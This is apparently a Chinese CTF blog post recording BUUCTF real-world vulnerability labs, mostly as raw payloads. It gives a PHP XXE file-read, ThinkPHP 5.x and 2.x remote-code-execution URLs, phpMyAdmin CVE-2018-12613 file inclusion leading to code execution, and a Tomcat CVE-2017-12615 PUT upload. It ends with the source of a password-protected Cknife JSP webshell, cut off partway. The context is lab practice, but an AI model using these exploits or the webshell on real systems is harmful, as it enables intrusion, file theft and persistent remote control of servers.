BUUCTF REAL(持续更新~)
呆在家里要闲出屁来了,,废人一个了,,,,
flag好像都在系统环境变量中,phpinfo中就能看见,,,,
这里就不注重解释过程了,主要就是记录一下漏洞以及payload,,,,
[PHP]XXE
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
关于更多的XXE漏洞利用可以看看这篇文章:XXE漏洞利用技巧:从XML到远程代码执行
[ThinkPHP]5-Rce
Thinkphp5 5.0.22/5.1.29远程代码执行漏洞:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
通过读取phpinfo,获取到flag!!
[ThinkPHP]5.0.23-Rce
Thinkphp 5.0.23远程代码执行漏洞:
POST /?s=captcha
_method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=-1&method=get
通过读取phpinfo,获取到flag!!
关于thinkphp5的漏洞github上有人已经收集并集中在一起了,
附上链接:关于ThinkPHP框架的历史漏洞分析集合
thinkphp检测工具:TPscan,一键ThinkPHP漏洞检测,基于Python3
更多的thinkphp5漏洞文章:先知社区
[PHPMYADMIN]CVE-2018-12613
phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)
有一道CTF题目就是利用这个漏洞:BUUCTF web WarmUp
payload:
http://node3.buuoj.cn:29957/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可以看见已经读取到文件内容了:
当然这里是无法执行命令的,那么我们也就无法执行phpinfo(),也就无法获取到flag
看github我们可以知道,我们执行SELECT '<?=phpinfo()?>';
,然后去查看session:
这个时候我们就可以去包含session文件了,这样就会执行session文件中的php代码:
还有一种方法,就是如果你知道/MySQL/data/的路径的话也能够实现文件包含进行代码执行
例如这篇文章:phpmyadmin4.8.1后台getshell
[ThinkPHP]2-Rce
ThinkPHP 2.x 的任意代码执行漏洞
在ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这样的代码导致用户的输入能被用户所控制,参数被插入双引号中执行,造成任意代码执行漏洞
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞
payload:
http://node3.buuoj.cn:29851/index.php?s=/index/index/name/$%7B@phpinfo()%7D
会显示出phpinfo()页面:
我们就可以利用任意代码执行漏洞进行不可描述的操作!
[Tomcat]CVE-2017-12615
实际上就是PUT方法的Tomcat任意写文件漏洞(CVE-2017-12615)
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时
即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
尽管Tomcat在某种程度上检查了文件后缀(不能直接编写jsp)
但我们仍然可以通过某些文件系统功能(例如/在Linux中使用)来绕过该限制
成功写入文件:
上传菜刀自带的jsp木马,密码Cknife:
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd = "Cknife";
String cs = "UTF-8";
String EC(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"),cs);
}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("choraheiheihei");
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle")!=-1){
return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
}else{
Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void AA(StringBuffer sb) throws Exception {
File k = new File("");
File r[] = k.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
} else {
sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()